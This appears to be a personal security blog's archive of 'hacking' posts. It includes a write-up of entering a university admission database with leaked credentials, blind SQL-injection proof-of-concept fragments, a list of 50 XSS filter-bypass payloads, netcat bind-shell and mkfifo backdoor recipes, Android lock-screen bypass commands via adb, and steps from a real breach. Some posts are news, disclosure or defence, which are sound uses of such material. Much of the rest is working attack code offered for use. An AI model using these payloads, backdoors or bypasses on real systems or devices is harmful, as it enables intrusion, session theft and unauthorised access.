Showing posts with label hacking. Show all posts
Showing posts with label hacking. Show all posts

Wednesday 23 July 2014

Hacking KU Admission Web Application

This post is a write-up of my attempt to keep local scene safe and secure and make institutions, programmers and digital users aware about security.

Today, at 1:00 PM, I got a call from a very talented NJ Subedi who told me that some guy told him that the guy could change all his scores and would be able to get him admitted to Kathmandu University even without appearing on the exam. WTH! I told myself. I was working on one of my projects so at first, I did not think of trying to attack the admission app. But, I could not resist my curiosity and soon began some basic recon.

My findings:-

Server: Ubuntu 12.04
OpenSSH 5.9p1
Apache httpd 2.2.22
MariaDB (possibly 5.5.37)

I started smelling bad things when I found that MariaDB port 3306 was open to the world and anybody could access the database server given the credentials.

I knew of an authentication bypass bug in MySQL/MariaDB. But, it was for older versions of database server so after a quick test, I ruled out this exploit.

SSH port was also open to the world and SSH bruteforcing is still common. I don't know if a weak password has been chosen for one of the accounts in the system but I ruled out this possibility believing that there had to be something else: some kind of coding flaw or deployment issue.

Then, I started looking at the source code of common.js file. I could immediately sense that the directory browsing has been enabled so I could list files in a directory without an index file. Looking at the pattern of javascript backup file, I could access backup copies of PHP files as well which revealed critical database credentials. BOOOOM!!! The MariaDB service is open to the world and I now have database credentials of the web application. It turned out easier than expected

I then switched to the terminal and got access to the MariaDB server. Within half an hour, I was already in the database. As a proof, I've attached 'show tables' output. No further queries were executed.


  • Remove all backup copies of PHP files
  • Filter port 3306 and 22 for limited trusted IPs only (Though I didn't bruteforce MariaDB or SSHD, it can also be an issue).
  • Check if any users have been added to linux system and mariadb mysql.user list and revoke necessary accesses
  • Change mariadb users and passwords
  • Disable remote access to MariaDB


1:10 PM - started looking into the issue
1:35 PM - got access to the system
2:00 PM - notified concerned people
3:30 PM - bugs resolved
4:00 PM - Vulnerability disclosed

That was quickly fixed. Wish all the applicants good luck.

Updates:- Later, I found a blind SQL injection flaw and a possible vulnerability that would allow to send reset e-mail to all the applicants (I did not test the later one but can still see the possibility of existence of this flaw.)

The blind SQL injection flaw was in ajaxCallFile.php which checks for valid e-mail during password reset process. Its non-trivial but still possible to use this flaw to attack the web application. Below are few PoC URLs:;%20--+&entryMode=checkEmail (A seemingly invalid e-mail address but SQL contextual emailID generates a valid result;%20--+&entryMode=checkEmail (I'm using AND 1 = 1 which is always true here);%20--+&entryMode=checkEmail (I'm using AND 1=2 this time),1,1%29;%20--+&entryMode=checkEmail (Here, I find the major version of database is 5.x),1,3%29;%20--+&entryMode=checkEmail (Here, I can see that first three characters of current db user are 'snipped_for_security')

It was also quickly fixed. Thanks for working hard on keeping applicants safe.


Tuesday 12 February 2013

Chaining The Proxies With ProxyChains

In this tutorial, we will learn to redirect our TCP traffics through the chain of proxies using a well known tool named ProxyChains.

ProxyChains is a tool for tunneling TCP and DNS traffics through chain of several proxy servers which supports HTTP, SOCKS4, and SOCKS5 proxy servers. Hence, this tool leverages several usages such as anonymity, bypassing filters, running any program through proxy servers, etc.

You can DOWNLOAD proxychains from SourceForge. In ubuntu, you can directly install it from repos:

samar@samar-Techgaun:~$ sudo apt-get install proxychains

Once you have installed the proxychains, you need to configure this tool. The global configuration file is located at /etc/proxychains.conf so if you wish to have your own configuration file, you could either create the proxychains.conf file in the current working directory or at $HOME/.proxychains/proxychains.conf.

In my example, I'll edit the global configuration file by issuing the command:

samar@samar-Techgaun:~$ sudo nano /etc/proxychains.conf

First, we will have to select the kind of chaining option we want to use. We can use one of the dynamic_chain, strict_chain, and random_chain chaining options. In most cases, it is good to just use the dynamic_chain so we uncomment the line containing dynamic_chain and comment all other chaining options.

Then we need to grab some proxies and then insert at the end of our configuration file which would look like:

socks4 9050
socks5 3128
socks5 1**.1**.*.* 8080

You could add as much as proxy servers in the list. Btw, the asterisks in the above example do not mean wildcards, they are just there to symbolize some proxy server. There are free sites on the Internet which provide big database of different kinds of proxies. Even several proxy scrapers are available all over the internet and you could even write one on your own. So getting list of good proxies is not the difficult job. Once you finish the configuration, you can run any command through proxychains. The syntax is as simple as below:

samar@samar-Techgaun:~$ proxychains <any_command>

For example, below is the example nmap scan run through the proxychains:

samar@samar-Techgaun:~$ proxychains nmap -p 1-1000 -O victim.tld

P.S. If you are interested in some GUI for using proxychains, you can use ProxyChainsGUI. Lastly, the default package from Ubuntu repository seems to be missing the proxyresolv command so I would recommend to compile the source code locally.


Saturday 26 January 2013

Subterfuge - An Automated MITM Attack Framework

Subterfuge is a very useful tool for hackers and security experts for automating the man-in-the-middle attacks. It provides a complete framework for automating different kinds of MITM attacks.

Subterfuge largely transforms the complexity of performing the man-in-the-middle attacks with the tools such as ettercap and makes it far more easier to launch various form of MITMs. Hence, even a general computer user can perform MITM using this tool. Subterfuge provides a very clear interface accessible over HTTP through browser through which we can view the intercepted authentication data. The tool also supports several other form of MITM attacks such as session injection, http code injection, fake AP, and DNS spoofing.

Currently, the 4.3 beta version of this tool is available as the latest release. You can download the tool and read about the tool at

Installation is straightforward. Download the tar file from the above link and then run the following commands in terminal:

samar@samar-Techgaun:~$ tar -xvf SubterfugePublicBeta4.3.tar.gz samar@samar-Techgaun:~$ python -i

After a while, the installation will complete. Now you can run the subterfuge framework by typing subterfuge in your terminal. Enjoy hacking :)


Friday 11 January 2013

Java 0-day In The Wild - Disable Java Plugin NOW

Security researchers have discovered yet another critical Java 0-day exploit being used by majority of the browser exploit packs such as Blackhole and Cool. Users are urged to DISABLE the Java plugin RIGHT NOW.

French researcher Kaffeine discovered that the java 0-day has been spotted to be making big hits daily, in a blog post. This particular exploit has proven to be very serious threat for the users. The folks at AlienVault Lab have also reproduced the exploit and it seems to work over all the java versions across all platforms which is a very serious threat.

As for now, the users are highly urged to disable their JAVA plugins right now so that they do not get hit by these 0-days.

So what are you waiting for?

Important links:

How To Disable Java Plugin

Kaffeine's blog post

Alien Vault Labs Post


Tuesday 11 December 2012

Inj3ct0r Team Hacked ExploitHub, Stole Private Exploits Worth $242333

Inj3ct0r team, which provides the ultimate database of exploits and vulnerabilities and serves as a great resource for vulnerability researchers and security professionals, has hacked, the site similar to inj3ct0r and stolen several private exploits worth $242333.

In the post from inj3ct0r team, they have provided the details for motivation of hack and the process of hack. At the time of writing this, seems to be down.

The post gives the process to accomplish the hack as below: I am very much surprised when he learned of Magento eCommerce Software and search /install/ 1) We scan server and site 2) We reinstall Magento CMS <= We reinstall Magento CMS 3) Upload shell and phpinfo 4) Back all files and database. 5) Upload piece of the database 6) Increased privileges


Saturday 8 December 2012

DNS Rebinding Attack Using Rebind

Rebind is a tool that implements the multiple A record DNS rebinding attack. Although this tool was originally written to target home routers, it can be used to target any public (non RFC1918) IP address.

Rebind provides an external attacker access to a target router's internal Web interface. This tool works on routers that implement the weak end system model in their IP stack, have specifically configured firewall rules, and who bind their Web service to the router's WAN interface. Note that remote administration does not need to be enabled for this attack to work. All that is required is that a user inside the target network surf to a Web site that is controlled, or has been compromised, by the attacker.

Important Links

Download rebind

Tested Routers (Affected + Not affected)

Rebind FAQ

Defcon Slides

Kind of interesting vector and I guess many are vulnerable out there.


Friday 30 November 2012

Nmap 6.25 Holiday Season Released

After five months of the release of NMAP 6.01, a newer version 6.25 has been released yesterday.

Nmap 6.25 contains hundreds of improvements, including 85 new NSE scripts, nearly 1,000 new OS and service detection fingerprints, performance enhancements such as the new kqueue and poll I/O engines, better IPv6 traceroute support, Windows 8 improvements, and much more! It also includes the work of five Google Summer of Code interns who worked full time with Nmap mentors during the summer.

Nmap 6.25 source code and binary packages for Linux, Windows, and Mac are available for free download from:

Release details


Monday 19 November 2012

50 Awesome XSS Vectors From @soaj1664ashar

Here are 50 awesome XSS vectors that @soaj1664ashar has been tweeting over time. Can be quite useful for bypassing any filter with the help of these full baked vectors.

50 awesome XSS vectors that I have tweeted (@soaj1664ashar) over time. Enjoy! Now you can bypass any filter with the help of these full baked vectors :-)

1) <a href="javascript&colon;\u0061&#x6C;&#101%72t&lpar;1&rpar;"><button>
2) <div onmouseover='alert&lpar;1&rpar;'>DIV</div>
3) <iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">
4) <a href="jAvAsCrIpT&colon;alert&lpar;1&rpar;">X</a>
5) <embed src="!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
6) <object data="!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
7) <var onmouseover="prompt(1)">On Mouse Over</var>
8) <a href=javascript&colon;alert&lpar;document&period;cookie&rpar;>Click Here</a>
9) <img src="/" =_=" title="onerror='prompt(1)'">
10) <%<!--'%><script>alert(1);</script -->
11) <script src="data:text/javascript,alert(1)"></script>
12) <iframe/src \/\/onload = prompt(1)
13) <iframe/onreadystatechange=alert(1)
14) <svg/onload=alert(1)
15) <input value=<><iframe/src=javascript:confirm(1)
16) <input type="text" value=``<div/onmouseover='alert(1)'>X</div>
17) http://www.<script>alert(1)</script .com
18) <iframe src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe>
19) <svg><script ?>alert(1)
20) <iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>
21) <img src=`xx:xx`onerror=alert(1)>
22) <object type="text/x-scriptlet" data=" "></object>
23) <meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>
24) <math><a xlink:href="//">click
25) <embed code="" allowscriptaccess=always>
26) <svg contentScriptType=text/vbs><script>MsgBox+1
27) <a href="data:text/html;base64_,<svg/onload=\u0061&#x6C;&#101%72t(1)>">X</a
28) <iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE>
29) <script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+
30) <script/src="data&colon;text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F
31) <script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script
32) <object data=javascript&colon;\u0061&#x6C;&#101%72t(1)>
33) <script>+-+-1-+-+alert(1)</script>
34) <body/onload=&lt;!--&gt;&#10alert(1)>
35) <script itworksinallbrowsers>/*<script* */alert(1)</script
36) <img src ?itworksonchrome?\/onerror = alert(1)
37) <svg><script>//&NewLine;confirm(1);</script </svg>
38) <svg><script onlypossibleinopera:-)> alert(1)
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40) <script x> alert(1) </script 1=2
41) <div/onmouseover='alert(1)'> style="x:">
42)  <--`<img/src=` onerror=alert(1)> --!>
43) <script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(1)></script>
44) <div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>
45) "><img src=x'');>
46) <form><button formaction=javascript&colon;alert(1)>CLICKME
47) <math><a xlink:href="//">click
48) <object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>
49) <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
50) <a href="data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203">Click Me</a>

Or Grab from pastebin :)


How To View Someone's IP and Speed - Epic

Well wanna laugh the whole day? Then, check out the video I found today on google. Don't even try to hold your laugh while watching this video because that's gonna cause a serious mental disorder :P. Before starting, I would suggest you to read Wikipedia entry about traceroute if you don't know about traceroute(Believe me if you understand english, you'll get what it is).

Myself, been laughing the whole day. :P


Monday 5 November 2012

ImageShack and Symantec Hacked And Dumped

2012 has been a year of leaks and hacks and continues to be so. Hackers hacked into ImageShack and Symantec servers and have leaked several critical information regarding the servers and employees.

Hackers have disclosed in an e-zine that the security practices of these major companies have been a joke: In case of ImageShack, all MySQL instances as root, really old (2008) kernels, hardcode database passwords, enable register_globals, etc.

The e-zine says:

ImageShack has been completely owned, from the ground up. We have had root and physical control of every server and router they own.

Likewise, they have dumped the database of Symantec, one of the leading AV companies which includes the critical information of the researchers at Symantec.





Sunday 28 October 2012

Think Like A Hacker For Better Security Awareness

52% of businesses experienced more malware infections as a result of employees on social media. This whitepaper provides an insight on how to think like a hacker for better security awareness.

Security awareness is mostly about common sense, and thinking like the hackers to understand what security weaknesses they look for. But like other security precautions, it's easy to let down your guard.

Security awareness education can arm your staff with the skills to practice safe Internet usage - to reduce malware and other cyber threats. The whitepaper entitled Takes One to Know One: Think Like a Hacker for Better Security Awareness is a must read for making yourself aware of security in this digital world.

In this paper, find out:

  • Best ways to deliver a security awareness program
  • What you should teach your staff
  • How to make security awareness a priority

Download The Whitepaper


Monday 22 October 2012

Reverse Shell Backdoor Cheatsheets Collection

Once you find your way to command execution after exploiting any of the flaws in web-apps, you look for interactive shell. You can do so by binding shell in some port or using reverse shell backdoor. Here are few links with awesome backdoor cheatsheet collections for obtaining reverse shell using different scripting languages:

PentestMonkey's Cheatsheet

Bernardo's Reverse Shells One-liners

GNU Citizen

In case you can't access pentest monkey, below is the cheatsheet in PNG format:


Ninja Fu With Netcat - Hacker's Swiss Army Knife

Netcat is one of my favorite tools for network investigations and backdoor planting. Netcat is a seemingly simple but very powerful and useful tool to read and write network connections using TCP or UDP. In this post, we will see several examples of using netcat in different scenarios.

First of all, if you are using distros like Ubuntu, they are probably including the OpenBSD netcat which does not provide a very useful switch that lets us execute any command. The netcat-traditional offers this switch so for learning purpose, you should install the netcat-traditional package by issuing the command below in Ubuntu & its derivatives (However, beware of inherent risk with this feature of the traditional netcat):

samar@samar-Techgaun:~$ sudo apt-get install netcat-traditional

Now you can use both OpenBSD and traditional versions by using nc.openbsd and nc.traditional respectively. However, the nc command might still be symbolically linked with nc.openbsd (/etc/alternatives/nc). If you want to permanently use nc to refer nc.traditional, type the following command (or do sudo rm /bin/nc && sudo ln -s /bin/nc.traditional /bin/nc):

samar@samar-Techgaun:~$ sudo update-alternatives --config nc

As I had already said, netcat is a very useful tool for network related works and hence often referred as Hacker's Swiss Army Knife and TCP/IP Swiss Army Knife. You can use netcat for several purposes such as file transfer, port scanning, listen server, bind & reverse shells, backdoors, etc. Because of this, netcat has been a favorite tool for hackers to get and maintain access to the servers.

Before beginning with the examples, I would like to inform you that most of the times ports above 1024 are used to create listen servers with netcat. This is because ports below 1024 are reserved by OS for core network services and you can not bind to these ports without special privilege to the system.

Simple Netcat Listen Server

samar@samar-Techgaun:~$ nc -lvp 1234
listening on [any] 1234 ...

Simple Netcat Client

samar@samar-Techgaun:~$ nc -vvn 1234
(UNKNOWN) [] 1234 (?) open

Once the client gets connected, the netcat listener might then look like this:

samar@samar-Techgaun:~$ nc -lvp 1234
listening on [any] 1234 ...
connect to [] from samar-Techgaun.local [] 38700

Noticed the port 38700 in the end? This is the port that the client uses to talk with the server. Observe that the value is much higher than 1024 and hence such ports are known as ephemeral port.

Once the client and server get connected, you can write anything and press ENTER. The data will get transmitted to the other end thus making netcat a data transfer tool.

Open Raw Connection With Netcat as client

samar@samar-Techgaun:~$ nc -vv 80
Warning: inverse host lookup failed for Unknown host [] 80 (http) open
HEAD / HTTP/1.0\n\n

HTTP/1.1 200 OK
Date: Mon, 22 Oct 2012 04:46:49 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Connection: close
Content-Type: text/html; charset=UTF-8

sent 21, rcvd 171

As seen above, I opened the RAW connection to and then issued HEAD / HTTP/1.0\n\n request to obtain the HTTP header. You can also notice (see web server version & PHP version?) that netcat can be used for basic fingerprinting and banner grabbing. Of course, this is not limited to HTTP fingerprinting. Extend the idea to work with other services.

Web Server Example Using Netcat

samar@samar-Techgaun:~/Desktop/test$ { echo -ne "HTTP/1.0 200 OK\r\nContent-Length: $(wc -c < my_file)\r\n\r\n"; cat my_file; } | nc -lv -p 8080
listening on [any] 8080 ...

This example taken from Wiki entry works as a one shot webserver hosting the my_file's content which can be accessed through web browser by specifying http://server:8080.

File Transfer Using Netcat

To transfer file from server to client, set up the server as below:

samar@samar-Techgaun:~$ cat my_file
samar@samar-Techgaun:~$ nc -lvp 1234 < my_file
listening on [any] 1234 ...

In the client end, do:

samar@samar-Techgaun:~$ nc -vv 1234 > output.txt
samar-Techgaun.local [] 1234 (?) open
^C sent 0, rcvd 10
samar@samar-Techgaun:~$ cat output.txt

Port Scanning With Netcat

samar@samar-Techgaun:~$ nc -nvz -w1 1-1024
(UNKNOWN) [] 80 (http) open
(UNKNOWN) [] 23 (telnet) open
(UNKNOWN) [] 21 (ftp) open

If you wish to scan number of hosts (or full network), you can do something like below:

samar@samar-Techgaun:~/Desktop/test$ for ip in $(seq 1 254); do nc -nvz -w1 192.168.1.$ip 1-1024; done

In the first example, ports 1-1024 are scanned in the host and in the second example, a class C network is scanned. However, netcat is by no means an advanced port scanner and tools such as nmap are great for this job.

Spawn a process

The -e switch can be specified to spawn a process in the system. In the server, type the command below:

samar@samar-Techgaun:~$ nc -lv -p 1234 -e /bin/bash
listening on [any] 1234 ...

At the other end, you will just connect to the just started netcat service and then issue any command that the bash recognizes. Good for shells in the servers, isn't it?

samar@samar-Techgaun:~$ nc -vv 1234
samar-Techgaun.local [] 1234 (?) open

Netcat backdoor using mkfifo

Since the normal pipe (|) is not so reliable & works in a unidirectional fashion, linux offers something called named pipes which can be exploited to create advanced backdoor in the systems which might not consist the netcat with -e support.

samar@samar-Techgaun:~$ mkfifo /tmp/b4ck; sh /tmp/b4ck | nc -lvp 1234 > /tmp/b4ck
listening on [any] 1234 ...

At the other end, you just need to connect to the newly created netcat service port:

samar@samar-Techgaun:~$ nc -vv 1234
localhost [] 1234 (?) open
sent 3, rcvd 33

I hope this post provides some directions on how to work with netcat and proves that netcat is called TCP/IP swiss army knife for the reason. There are other several possibilities with netcat. Explore to get more out of this awesome tool. ;)


Friday 12 October 2012

Pinkie Pie Wins $60K In Pwnium2

The teenage hacker who goes by the handle "Pinkie Pie" once again successfully exploited the google chrome browser in the Pwnium 2 event held in HITB2012 conference in Kuala Luampur. With the goal to reward the exceptional vulnerability researchers, Google Chromium team had started Pwnium earlier this year and this is the second installment of Pwnium.

Google software engineer Chris Evans writes in a blog post:

" We’re happy to confirm that we received a valid exploit from returning pwner, Pinkie Pie. This pwn relies on a WebKit Scalable Vector Graphics (SVG) compromise to exploit the renderer process and a second bug in the IPC layer to escape the Chrome sandbox. Since this exploit depends entirely on bugs within Chrome to achieve code execution, it qualifies for our highest award level as a “full Chrome exploit,” a $60,000 prize and free Chromebook. "

Chromium team has already released the patched and updated google chrome in less than 10 hours after the exploit was confirmed. The Stable channel has been updated to 22.0.1229.94 for Windows, Mac, and Linux which contains the fix for the security exploit discovered by Pinkie Pie


Tuesday 28 August 2012

Hack Attack The Networks With Yersinia

Yersinia is a network attack tool that takes advantages of inherent weaknesses of several protocols to attack the network using different attack vectors. Yersinia can prove as a solid tool for analyzing and testing the deployed networks and systems for possible weaknesses.

The protocols implemented for testing using Yersinia are:

  • Spanning Tree Protocol (STP)
  • Cisco Discovery Protocol (CDP)
  • Dynamic Trunking Protocol (DTP)
  • Dynamic Host Configuration Protocol (DHCP)
  • Hot Standby Router Protocol (HSRP)
  • IEEE 802.1Q
  • IEEE 802.1X
  • Inter-Switch Link Protocol (ISL)
  • VLAN Trunking Protocol (VTP)

Yersinia supports number of attacks in all of the above listed network protocols and hence can be used (or misused) to test any network.

The tool works on several operating systems such as OpenBSD 3.4 (with pcap libraries >= 0.7.2), Linux 2.4.x and 2.6.x, Solaris 5.8 64bits SPARC, Mac OSX 10.4 Tiger (Intel), etc.

Installation on ubuntu: Fire up the terminal and type:

sudo apt-get install yersinia

To download yersinia for other distros, go through the Download section of yersinia.


Friday 17 August 2012

Bypass Android Pattern Lock In Easy Steps

Android devices has this security feature known as pattern lock which prevents the access of other people in your device. One of the senior members at XDA has revealed a way to bypass this pattern lock feature completely.

There have been several attempts on finding different methods for bypassing pattern unlocking in the android devices. Early methods were tracking the smudges on the screen and guessing since human are more likely to use the patterns they have already seen.

This method, posted in XDA developers forum by m.sabra, requires the USB debugging to be enabled in the android device and then you can use ADB (Android Debug Bridge), a part of Android SDK to easily bypass the pattern unlock with few lines of commands. The user has revealed two methods for bypassing this, the first one involves running few SQLite queries and the second one requires deleting the associated key.

You will need to download the Android SDK in order to continue with this hack.

Method 1:

adb shell
cd /data/data/
sqlite3 settings.db
update system set value=0 where name='lock_pattern_autolock';
update system set value=0 where name='lockscreen.lockedoutpermanently';


Method 2:

adb shell rm /data/system/gesture.key

You can either choose one of the methods or perform both of the methods (method 1 first and method 2 second). Be sure to reboot once you perform any of the above mentioned methods.

Users have said that this method is not working on the latest Android Jelly Bean and other custom ROMs such as Cyanogen Mod. But, earlier android versions are vulnerable to this hack.

Even if the USB debugging is disabled, you can still run these methods if custom recovery was installed in the android device. You will have to mount the working partition. Just go to 'Mounts and Storage' and mount /data. Then you can follow the above methods to bypass the lock.


Wednesday 18 July 2012

Russian Hacker Bypasses Apple's App Store

A Russian hacker known as ZonD80 has discovered a method to retrieve apps from in-app for iOS apps free of cost. The best thing about this bypassing method is that this method does not require the i-device to be jailbroken. This method works on most of the major iOS versions from 3.0 to 6.0.

The step by step guide on using this method is available at the russian website HERE. The Russian guy has also setup a website called

Original Link

Watch Video About This Method

HERE is the copy of the instructions to follow.

*Take care while using this trick. I've not tested it and don't know if there are any security implications as the side effect of this bypass method.


Thursday 31 May 2012

JSUnpack - A Generic Javascript Unpacker

JSUnpack is an online service that can unpack different kinds of obfuscated and packed javascript source codes. It is designed for security researchers and computer professionals.

You can either supply the source code or link to the javascript file to unpack it. The site also supports uploading and unpacking of PDF, pcap, HTML, or JavaScript file.

JSUNPACK website

I hope it comes handy to you as it did to me. :)


Tuesday 22 May 2012

NMAP 6 Released

Version 6 of nmap, one of the most widely used network exploration and security auditing tool was released on 21 May. Nmap (“Network Mapper”) is a free and open source (license) utility for network discovery and security auditing.

The nmap site says:

"The Nmap Project is pleased to announce the immediate, free availability of the Nmap Security Scanner version 6.00 from It is the product of almost three years of work, 3,924 code commits, and more than a dozen point releases since the big Nmap 5 release in July 2009. Nmap 6 includes a more powerful Nmap Scripting Engine, 289 new scripts, better web scanning, full IPv6 support, the Nping packet prober, faster scans, and much more! We recommend that all current users upgrade."

The new version of nmap consists of 6 major improvements among several changes. Enhanced Nmap scripting engine(NSE), better web scanning, full-fledged IPv6 support, addition of nping tool, better zenmap GUI and faster scanning are the enhancements seen in the version 6 of nmap.

More Release Information

Download NMAP


Tuesday 20 March 2012

Some Fun With Alternate Data Streams

I have not been blogging for a while because of exams but now I'm free for few days so here comes another post back from my home village. This time, I'm going to share some basic funs with alternate data streams from theory to some practical stuffs.

What is Alternate Data Stream Alternate Data Stream(ADS) is a kind of file system fork which allows more than one data stream to be associated with a single filename. Alternate Data Stream was introduced by Microsoft as a part of its NTFS file system. Alternate Data Streams are not shown by Windows Explorer and even the dir command and size of ADS is also excluded from the file size. The dir command however allows us to view the alternate data streams using the dir /R command in Windows Vista and above.

One use of ADS could be hiding the information as alternate data streams in the file but beware that copying the file to non-NTFS file systems will make you loose the information in the ADS. ADS was originally introduced to store file information and properties however any user can hide any kind of information in the ADS. Some malwares have utilized the ADS to hide their code so most antiviruses today also scan the ADS of any file to find anything fishy.

Note that the format used to create(and access) ADS is filename:ADSname. A relatively simple guide I had written a while ago is HERE.

Now lets move on to some interesting stuffs and for that, I am creating a directory named "samar" in Desktop. We will first create a simple text file by using the command below:

echo An ordinary text file > ads.txt

Now lets add an alternate data stream by issuing the following command:

echo I am secret > ads.txt:private.txt

Lets issue the dir command to see what it lists:

Volume in drive C has no label.
 Volume Serial Number is 90E7-CBCA

 Directory of C:\Users\SINDHUS\Desktop\samar

03/20/2012  09:58 AM    <DIR>          .
03/20/2012  09:58 AM    <DIR>          ..
03/20/2012  09:56 AM                24 ads.txt
               3 File(s)             24 bytes
               3 Dir(s)  22,683,332,608 bytes free

We can see no information regarding the alternate data stream we just added to the file and lets see if the type command shows anything by just opening the file.

C:\Users\SINDHUS\Desktop\samar>type ads.txt
An ordinary text file

So where is the private stuff we've put as ADS in the file? Even viewing the file from windows explorer does not show the content in ADS and of course the size is also not included. The point here is the malicious user might add something bad in the alternate data stream and send to a normal PC user. The unsuspecting user will not know if there's anything other than just the text file. Now lets see how we can see the alternate data stream.

For a while, lets pretend that we don't know that the ADS is added in the file. So first we will use the commands to see if there's any ADS in the file. The simplest one is to use dir /R command as below:

C:\Users\SINDHU'S\Desktop\samar>dir /R
 Volume in drive C has no label.
 Volume Serial Number is 90E7-CBCA

 Directory of C:\Users\SINDHU'S\Desktop\samar

03/20/2012  09:58 AM    <DIR>          .
03/20/2012  09:58 AM    <DIR>          ..
03/20/2012  09:56 AM                24 ads.txt
                                    14 ads.txt:private.txt:$DATA
03/20/2012  09:58 AM               496 info.txt
               2 File(s)            520 bytes
               3 Dir(s)  22,881,669,120 bytes free

We can see that besides the ads.txt file, there is another entry ads.txt:private:$DATA. By examining this file, we come to know that the alternate data stream with the name private is present in the file ads.txt and the alternate data stream is nothing but just the data. However, as stated earlier, only Vista and above contain the dir command that lets us list the alternate data streams. In such case, you can download a small utility named streams from Microsoft Technet. The streams tool also allows us to delete the ADS easily which is possible but a bit obscure for normal PC user. Now to view the content of the alternate data stream, we will use notepad:

C:\Users\SINDHUS\Desktop\samar>notepad ads.txt:private.txt

Note that this time we didn't use type command since it does not support the use of colon in the command. We used the notepad but we could also use another command known as more as below:

C:\Users\SINDHU'S\Desktop\samar>more < ads.txt:private

I am secret

The fun with ADS just does not stop here. We could do much more than this but the basic idea is same. We can embed executables and codes within the ADS and run those executable whenever necessary. I'll leave this as homework for you guys since it won't be hard to figure it out once you've understood the basics I've discussed above.

The alternate data stream has already been exploited in IIS, the primary web server from Microsoft. Following is the example I've taken from OWASP on how it could be exploited in IIS.
Normal access: Show code bypass accessing the :$DATA alternate data stream:$DATA

Last thing I would like to discuss is how to delete the alternate data streams. The streamers tool provides a -d switch to delete the ADS and it also supports the wildcards for deleting the streams. Another way of deleting the alternate streams is to copy the file in non-NTFS drives such as to FAT32-formatted pendrives and then copying back. Of course, you could also save the content of main stream in another file and then delete the original file that consists of stream.

I hope this helps you. Please let me know if I should add something to it. :)